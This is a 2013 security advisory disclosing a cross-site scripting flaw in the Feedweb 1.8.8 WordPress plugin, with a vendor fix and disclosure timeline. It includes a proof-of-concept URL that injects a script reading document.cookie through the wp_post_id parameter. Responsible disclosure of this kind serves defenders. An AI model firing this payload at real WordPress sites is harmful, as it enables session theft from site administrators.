Advisory: WordPress Plugin 'Feedweb 1.8.8' Cross-site Scripting vulnerability Advisory ID: SSCHADV2013-004 Author: Stefan Schurtz Affected Software: Successfully tested on Feedweb 1.8.8 Vendor URL: http://wordpress.org/extend/plugins/feedweb/ Vendor Status: fixed CVE-ID: Requested ========================== Vulnerability Description ========================== The WordPress plugin Feedweb 1.8.8 is prone to a XSS vulnerability ============== PoC-Exploit ============== // with authenticated admin user http://[target]/wordpress/wp-content/plugins/feedweb/widget_remove.php?wp_post_id=</script><script>alert(document.cookie)</script> ===== Solution ===== Update to the latest version 1.9 ================ Disclosure Timeline ================ 30-Mar-2013 - informed plugins@wordpress.org 01-Apr-2013 - fixed by developer ==== Credits ==== Vulnerability found and advisory written by Stefan Schurtz. ======= References ======= http://wordpress.org/extend/plugins/feedweb/changelog/ http://www.darksecurity.de/advisories/2013/SSCHADV2013-004.txt